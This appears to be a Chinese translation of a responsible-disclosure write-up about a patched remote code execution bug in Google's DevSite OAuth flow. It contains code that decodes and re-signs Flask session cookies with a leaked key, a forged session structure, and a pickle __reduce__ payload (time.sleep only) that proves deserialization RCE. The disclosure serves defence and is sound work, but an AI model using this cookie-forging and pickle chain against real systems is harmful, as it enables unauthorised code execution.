我在 Google 发现价值 9 万美元的远程代码执行漏洞
I Found a $90k Remote Code Execution Vulnerability in Google
安全研究者 soeckly 在 Google 开发者文档站点共享的 OAuth 流程中发现远程代码执行漏洞,获 9 万美元赏金。
我是怎么发现的
我当时正在梳理 Google 开发者文档站点共用的 OAuth 流程。你访问 /oauth2authorize,它会设置一个 Flask 会话 cookie 并将你重定向到 Google 的登录页面。无需账号:
curl -s -D headers.txt -o /dev/null \
'https://developers.google.com/oauth2authorize?return_url=%2F'引起我注意的是那个 cookie。Flask 通常的三段式 session=<payload>.<timestamp>.<signature>,但大约 1,200 字节,远超 CSRF 令牌和返回 URL 所需。于是我解码了它。
Flask 会话 cookie 是签名的,不是加密的,所以任何持有它的人都能直接看到内容。开头的点表示载荷是 zlib 压缩的:
import base64
import json
import pickletools
import zlib
payload, timestamp, signature = cookie.rsplit(".", 2)
def b64decode(value):
return base64.urlsafe_b64decode(value + "=" * (-len(value) % 4))
compressed = payload.startswith(".")
raw = b64decode(payload[1:] if compressed else payload)
session = json.loads(zlib.decompress(raw) if compressed else raw)这让我得到了:
{
"_permanent": true,
"google_oauth2_csrf_token": "...",
"google_oauth2_flow_<csrf>": {
" b": "..."
}
}" b" 键是 Flask 用来标记 bytes 值的。对它进行 Base64 解码后我得到了一个 pickle,而 pickletools.dis 打印出了一个 oauth2client.client.OAuth2WebServerFlow 对象及其字段:
client_id = "<redacted>.apps.googleusercontent.com"
client_secret = b"<redacted>"我的 cookie 里住着一个 pickle 已经很糟了。Google 的 OAuth client_id 和 client_secret 以明文形式躺在里面就更糟了。(密钥被隐去,因为我写这篇文章时它仍然有效。)
然后,我一时兴起,试着把客户端密钥当作 Flask 的 SECRET_KEY。Google 刚刚交给我的 cookie 上的签名用它验证通过了。给 cookie 签名的密钥就藏在 cookie 里面。
一个密钥,两份工作
客户端密钥泄露在 cookie 中本身就是一个发现。关键在于同一个值也能验证签名,所以我认真地确认了这一点,而不是依赖一次幸运的猜测。
Flask 通过 itsdangerous 使用 cookie-session 密钥派生进行签名,所以我离线重新计算了签名:
import hmac
derived_key = hmac.digest(client_secret, b"cookie-session", "sha1")
expected = hmac.digest(
derived_key,
f"{payload}.{timestamp}".encode(),
"sha1",
)expected 的结果与几秒前交给我的 cookie 上的签名逐字节完全相同。为了确认这不是偶然,我翻转了签名中的一个字符(被拒绝),并用恢复出的密钥重新签署了原始载荷(被接受)。会话完整性荡然无存。我可以设置会话中的每一个键和值,同时仍然生成服务器会接受的签名。
从伪造 cookie 到代码执行
回调从会话中读回流程并对其进行 unpickle:
session cookie
-> verify Flask signature
-> read google_oauth2_flow_<csrf>
-> base64-decode the bytes
-> pickle.loads(...)那个 pickle.loads 只有在没有其他人能伪造有效 cookie 时才是“安全”的。一旦密钥公开,这个假设就毫无价值。我用一个编造的 CSRF 令牌构建了自己的会话,并在匹配的流程键下放入了我想要的任何 pickle:
session = {
"_permanent": True,
"google_oauth2_csrf_token": "attacker-chosen",
"google_oauth2_flow_attacker-chosen": {
" b": base64.b64encode(attacker_blob).decode()
},
}state 参数也是我的,所以服务器端不需要任何东西对齐。它检查我的签名,找到我的流程条目,然后把字节传给 pickle.loads。
如果你没玩过 pickle:REDUCE 操作码指定一个可调用对象及其参数,而 unpickle 就是调用它。公开的签名密钥加上这个汇聚点就是未经身份验证的 RCE。
我不打算在 Google 的生产环境上运行命令,所以我用时间来证明。载荷简化为 time.sleep(N):
class Sleep:
def __init__(self, seconds):
self.seconds = seconds
def __reduce__(self):
return (time.sleep, (self.seconds,))每次都是同一个伪造会话,只有数字变了:
time.sleep(0) -> 0.207 s
time.sleep(3) -> 3.193 s
time.sleep(5) -> 5.194 s
time.sleep(8) -> 8.283 s响应时间跟随 pickle 中的数字变化,这只有在服务器导入 time 并实际调用 sleep(N) 时才会发生。
然后是控制实验,以排除端点缓慢或抖动:
- 没有 cookie:
Invalid request。 - 签名中翻转一个字节:
Invalid request。 - 签名有效,但没有流程条目:
Invalid request state。 - 签名有效且带有真实流程:到达了 Google 的令牌交换,随后因我的伪造授权码而失败,报
invalid_grant。 - 签名有效且带有 sleep 载荷:延迟恰好是我选择的数字。
影响范围
这不是单个应用,而是共享的 DevSite 平台,所以来自 developers.google.com 的密钥能在以下站点签署有效会话:
firebase.google.comdeveloper.android.comsource.android.comdocs.partner.android.com
修复
有四件事必须改变,而且它们层层叠加:
- 轮换两个已暴露的 OAuth 客户端密钥,并终止所有用它们签名的会话。
- 为每个部署从服务器端存储中分配各自的高熵 Flask
SECRET_KEY,与任何 OAuth 凭据毫无关系。 - 将 OAuth 流程对象保留在服务器上。Cookie 应仅保存一个不透明的引用,不包含任何敏感信息。
- 对于任何跨越客户端边界的数据,丢弃
pickle。采用仅含数据并带模式校验的格式,可使伪造的 Cookie 失效。
其中任何一环都足以打断这条链。四个环节全部凑齐,这就是两个 GET 请求最终能在 Google 服务器上执行代码的原因。
时间线
- Aug 6, 2026 · 22:48
报告已提交
- Aug 7, 2026 · 08:12
已分类
- Aug 7, 2026 · 16:23
已受理
- Aug 27, 2026
奖励决定:$90,000
普通 Google 应用(T2),S0 RCE:基础 $75,000 × 1.2(因报告质量卓越)。
- Oct 7, 2026 · 15:20
已修复
感谢 Google Bug Hunters 团队和 DevSite 工程师调查并修复此问题。
来源:Hacker News · simonkoeck.com